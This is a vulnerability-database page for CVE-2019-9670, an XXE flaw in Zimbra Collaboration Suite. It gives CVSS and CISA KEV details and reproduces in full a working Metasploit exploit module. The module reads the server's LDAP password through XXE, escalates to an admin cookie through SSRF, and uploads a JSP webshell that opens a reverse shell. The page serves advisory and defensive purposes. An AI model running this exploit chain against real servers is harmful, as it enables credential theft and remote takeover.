CVE-2019-9670 : Detail

CVE-2019-9670

9.8
/
Critical
A05-Security Misconfiguration
94.43%V4
Network
2019-05-29
21h04 +00:00
2025-02-07
14h07 +00:00
CVE.org
NVD
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CVE Descriptions

mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability, as demonstrated by Autodiscover/Autodiscover.xml.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-611 Improper Restriction of XML External Entity Reference
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Synacor Zimbra Collaboration Suite (ZCS) Improper Restriction of XML External Entity Reference

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-01-09 23h00 +00:00

Action is due : 2022-07-09 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46693

Publication date : 2019-04-11 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF', 'Description' => %q{ This module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration file that contains an LDAP password for the 'zimbra' account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the 'zimbra' credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the Client Upload servlet is used to upload a JSP webshell that can be triggered from the web server to get command execution on the host. The issues reportedly affect Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition. }, 'Author' => [ 'An Trinh', # Discovery 'Khanh Viet Pham', # Discovery 'Jacob Robles' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-9670'], ['CVE', '2019-9621'], ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html'] ], 'Platform' => ['linux'], 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultOptions' => { 'RPORT' => 8443, 'SSL' => true, 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }, 'Stance' => Stance::Aggressive, 'DefaultTarget' => 0, 'DisclosureDate' => '2019-03-13' # Blog post date )) register_options [ OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']), OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10]) ] end def xxe_req(data) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, '/autodiscover'), 'encode_params' => false, 'data' => data }) fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503 res end def soap_discover(check_soap=false) xml = REXML::Document.new xml.add_element('Autodiscover') xml.root.add_element('Request') req = xml.root.elements[1] req.add_element('EMailAddress') req.add_element('AcceptableResponseSchema') replace_text = 'REPLACE' req.elements['EMailAddress'].text = Faker::Internet.email req.elements['AcceptableResponseSchema'].text = replace_text doc = rand_text_alpha_lower(4..8) entity = rand_text_alpha_lower(4..8) local_file = '/etc/passwd' res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>" if check_soap local = "file://#{local_file}" res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>" res << "#{xml.to_s.sub(replace_text, "&#{entity};")}" else local = "http://#{srvhost_addr}:#{srvport}#{@service_path}" res << "<!ENTITY % #{entity} SYSTEM '#{local}'>" res << "%#{entity};]>" res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}" end res end def soap_auth(zimbra_user, zimbra_pass, admin=true) urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount' xml = REXML::Document.new xml.add_element( 'soap:Envelope', {'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'} ) xml.root.add_element('soap:Body') body = xml.root.elements[1] body.add_element( 'AuthRequest', {'xmlns' => urn} ) zimbra_acc = body.elements[1] zimbra_acc.add_element( 'account', {'by' => 'adminName'} ) zimbra_acc.add_element('password') zimbra_acc.elements['account'].text = zimbra_user zimbra_acc.elements['password'].text = zimbra_pass xml.to_s end def cookie_req(data) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, '/service/soap/'), 'data' => data }) fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 res end def proxy_req(data, auth_cookie) target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, '/service/proxy/'), 'vars_get' => {'target' => target}, 'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}", 'data' => data, 'headers' => {'Host' => "#{datastore['RHOST']}:7071"} }) fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 res end def upload_file(file_name, contents, cookie) data = Rex::MIME::Message.new data.add_part(file_name, nil, nil, 'form-data; name="filename1"') data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"') post_data = data.to_s send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie }) end def check begin res = xxe_req(soap_discover(true)) rescue Msf::Exploit::Failed return CheckCode::Unknown end if res.body.include?('zimbra') return CheckCode::Vulnerable end CheckCode::Unknown end def on_request_uri(cli, req) ent_file = rand_text_alpha_lower(4..8) ent_eval = rand_text_alpha_lower(4..8) dtd = <<~HERE <!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml"> <!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>"> %#{ent_eval}; HERE send_response(cli, dtd) end def primer datastore['SSL'] = @ssl res = xxe_req(soap_discover) fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m password = $1 username = 'zimbra' print_good("Password found: #{password}") data = soap_auth(username, password, false) res = cookie_req(data) fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/ auth_cookie = $1 print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}") data = soap_auth(username, password) res = proxy_req(data, auth_cookie) fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/ admin_cookie = $1 print_good("Admin cookie retrieved: #{admin_cookie}") stager_name = "#{rand_text_alpha(8..16)}.jsp" print_status('Uploading jsp shell') res = upload_file(stager_name, payload.encoded, admin_cookie) fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200 # Only shell sessions are supported register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)") register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)") register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)") register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)") print_status("Executing payload on /downloads/#{stager_name}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"), 'cookie' => admin_cookie }) end def exploit @ent_data = rand_text_alpha_lower(4..8) @ssl = datastore['SSL'] datastore['SSL'] = false Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error end end

Products Mentioned

Configuraton 0

Synacor>>Zimbra_collaboration_suite >> Version From (including) 8.7.0 To (excluding) 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

Synacor>>Zimbra_collaboration_suite >> Version 8.7.11

References

https://www.exploit-db.com/exploits/46693/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.